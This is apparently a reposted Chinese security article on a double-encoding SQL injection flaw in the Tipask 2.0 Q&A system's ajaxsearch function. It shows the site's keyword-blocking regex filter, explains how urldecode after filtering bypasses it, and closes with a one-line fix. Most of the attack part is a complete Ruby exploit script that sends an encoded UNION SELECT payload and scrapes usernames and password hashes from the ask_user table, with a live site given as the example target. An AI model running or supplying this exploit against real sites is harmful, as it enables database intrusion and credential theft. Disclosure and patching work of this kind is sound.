tipask问答系统2.0 ajaxsearch二次编码注入及修复

13-09-11 来源：[db:作者]

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Tipask问答系统是一款开放源码的PHP仿百度知道程序。以国人的使用习惯为设计理念，采用MVC构架，系统具有速度快，SEO友好，界面操作简洁明快等特点。

但是Tipask中存在二次编码问题，所以导致绕过系统过滤造成注入。

在程序入口/model/tipask.class.php init_request()中：

$this->get = taddslashes($this-> get, 1);
$this-> post = taddslashes(array_merge($_GET, $_POST));
checkattack($this-> post, 'post' );
checkattack($this-> get, 'get' );

对get和post的参数进行了的addslashes，经过了checkattack检查：

function
checkattack($reqarr, $reqtype= 'post') {
    $filtertable =
array(
       
'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ,
       
'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)' ,
       
'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)'
   
);
   
foreach ($reqarr as $reqkey => $reqvalue) {
       
if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1) {
           
print('Illegal operation!' );
           
exit(-1);
        }
    }
}

这个检查主要针对SQL注入，发现匹配的规则就退出

现在看漏洞处/control/question.php onajaxsearch函数：

/* 提问自动搜索已经解决的问题 */

    function onajaxsearch () {
        $title = urldecode($this-> get[2]);
        $questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5);
        include template('ajaxsearch' );
    }

对get的第二个参数urldecode后直接传入SQL语句，绕过了前面的过滤和检查，导致SQL注入。

require "net/http"
require "uri"

def urlencode(exp)
     str = "";
     exp.each_char { |c|
          str << sprintf("%%%x", c.ord)
     }
     return str
end

def request(method, url)
     if method.eql?("get")
          uri = URI.parse(url)
          http = Net::HTTP.new(uri.host, uri.port)
          response = http.request(Net::HTTP::Get.new(uri.request_uri))
          return response
     end
end

doc =<<HERE
-------------------------------------------------------
Tipask 2.0 Inejction Exploit
Author:ztz
Blog:http://ztz.fuzzexp.org/
-------------------------------------------------------

HERE

usage =<<HERE
Usage:           ruby #{$0} host port path
example:      ruby #{$0} help.tipask.com 80 /
HERE

puts doc
if ARGV.length < 3
     puts usage
else
     $host = ARGV[0]
     $port = ARGV[1]
     $path = ARGV[2]

     puts "[*]send request..."
     url = "http://#{$host}:#{$port}#{$path}?question/ajaxsearch/"
     exp = urlencode("' UNION SELECT 1,2,3,4,5,6,7,8,concat(username,char(0x3d),password),10,11,12,13,14,15,16,17,18,19,20,21 from ask_user#")
     response = request("get", url<<exp)
     result = response.body.scan(/\w+=\w{32}/)
     puts result
end

修复方案：

function onajaxsearch () {
        $title = $this-> get[2];
        $questionlist = $_ENV[ 'question']->search_title($title, 2, 1, 0, 5);
        include template('ajaxsearch' );
    }

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